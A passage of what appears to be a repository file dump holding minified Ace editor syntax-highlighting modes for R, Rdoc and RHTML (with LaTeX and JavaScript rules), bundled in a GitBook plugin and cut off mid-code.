    "content": "define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),define(\"ace/mode/r_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=function(){var e=i.arrayToMap(\"function|if|in|break|next|repeat|else|for|return|switch|while|try|tryCatch|stop|warning|require|library|attach|detach|source|setMethod|setGeneric|setGroupGeneric|setClass\".split(\"|\")),t=i.arrayToMap(\"NULL|NA|TRUE|FALSE|T|F|Inf|NaN|NA_integer_|NA_real_|NA_character_|NA_complex_\".split(\"|\"));this.$rules={start:[{token:\"comment.sectionhead\",regex:\"#+(?!').*(?:----|====|####)\\\\s*$\"},{token:\"comment\",regex:\"#+'\",next:\"rd-start\"},{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:'[\"]',next:\"qqstring\"},{token:\"string\",regex:\"[']\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+[Li]?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+L\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d*)?(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\.\\\\d+(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:TRUE|FALSE|T|F)\\\\b\"},{token:\"identifier\",regex:\"`.*?`\"},{onMatch:function(n){return e[n]?\"keyword\":t[n]?\"constant.language\":n==\"...\"||n.match(/^\\.\\.\\d+$/)?\"variable.language\":\"identifier\"},regex:\"[a-zA-Z.][a-zA-Z0-9._]*\\\\b\"},{token:\"keyword.operator\",regex:\"%%|>=|<=|==|!=|\\\\->|<\\\\-|\\\\|\\\\||&&|=|\\\\+|\\\\-|\\\\*|/|\\\\^|>|<|!|&|\\\\||~|\\\\$|:\"},{token:\"keyword.operator\",regex:\"%.*?%\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]};var n=(new o(\"comment\")).getRules();for(var r=0;r<n.start.length;r++)n.start[r].token+=\".virtual-comment\";this.addRules(n,\"rd-\"),this.$rules[\"rd-start\"].unshift({token:\"text\",regex:\"^\",next:\"start\"}),this.$rules[\"rd-start\"].unshift({token:\"keyword\",regex:\"@(?!@)[^ ]*\"}),this.$rules[\"rd-start\"].unshift({token:\"comment\",regex:\"@@\"}),this.$rules[\"rd-start\"].push({token:\"comment\",regex:\"[^%\\\\\\\\[({\\\\])}]+\"})};r.inherits(u,s),t.RHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/r\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/r_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/unicode\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./r_highlight_rules\").RHighlightRules,a=e(\"./matching_brace_outdent\").MatchingBraceOutdent,f=e(\"../unicode\"),l=function(){this.HighlightRules=u,this.$outdent=new a};i.inherits(l,s),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/r\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-rdoc.js",
    "content": "define(\"ace/mode/latex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\",\"lparen\",\"storage.type\",\"rparen\"],regex:\"(\\\\\\\\(?:documentclass|usepackage|input))(?:(\\\\[)([^\\\\]]*)(\\\\]))?({)([^}]*)(})\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:label|v?ref|cite(?:[^{]*)))(?:({)([^}]*)(}))?\"},{token:[\"storage.type\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:begin|end))({)(\\\\w*)(})\"},{token:\"storage.type\",regex:\"\\\\\\\\[a-zA-Z]+\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\[^a-zA-Z]?\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"equation\"}],equation:[{token:\"comment\",regex:\"%.*$\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"start\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\(?:[^a-zA-Z]|[a-zA-Z]+)\"},{token:\"error\",regex:\"^\\\\s*$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.LatexHighlightRules=s}),define(\"ace/mode/rdoc_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/latex_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./latex_highlight_rules\"),u=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:\"text\",regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:name|alias|method|S3method|S4method|item|code|preformatted|kbd|pkg|var|env|option|command|author|email|url|source|cite|acronym|href|code|preformatted|link|eqn|deqn|keyword|usage|examples|dontrun|dontshow|figure|if|ifelse|Sexpr|RdOpts|inputencoding|usepackage)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.text\",regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:name|alias|method|S3method|S4method|item|code|preformatted|kbd|pkg|var|env|option|command|author|email|url|source|cite|acronym|href|code|preformatted|link|eqn|deqn|keyword|usage|examples|dontrun|dontshow|figure|if|ifelse|Sexpr|RdOpts|inputencoding|usepackage)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.text\",regex:\"\\\\s+\"},{token:\"nospell.text\",regex:\"\\\\w+\"}]}};r.inherits(u,s),t.RDocHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/rdoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/rdoc_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./rdoc_highlight_rules\").RDocHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=function(e){this.HighlightRules=o,this.$outdent=new u};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/rdoc\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-rhtml.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var 